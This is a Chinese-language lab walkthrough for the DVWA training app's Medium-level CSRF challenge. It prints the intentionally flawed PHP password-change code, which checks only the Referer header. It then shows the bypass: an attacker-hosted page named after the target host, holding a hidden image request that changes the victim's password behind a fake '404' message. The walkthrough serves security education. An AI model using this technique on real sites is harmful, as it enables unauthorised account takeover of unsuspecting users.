DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证

Medium Level

查看源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        $html .= "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相关函数说明

stripos(string,find,start)

返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 FALSE。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERERhttp包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAMEhttp包头的Host参数,及要访问的主机名,这里是127.0.0.1),希望通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是172.16.134.26

我们可以将攻击页面命名为172.16.134.26.html(页面被放置在攻击者的服务器里,这里是172.16.135.47)就可以绕过了

<img src="http://172.16.134.26/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

攻击者诱使受害者点击链接

下面是Fiddler截图

Referer参数完美绕过过滤规则,密码修改成功。

参考:https://www.freebuf.com/articles/web/118352.html

原文地址:https://www.cnblogs.com/zhengna/p/12736386.html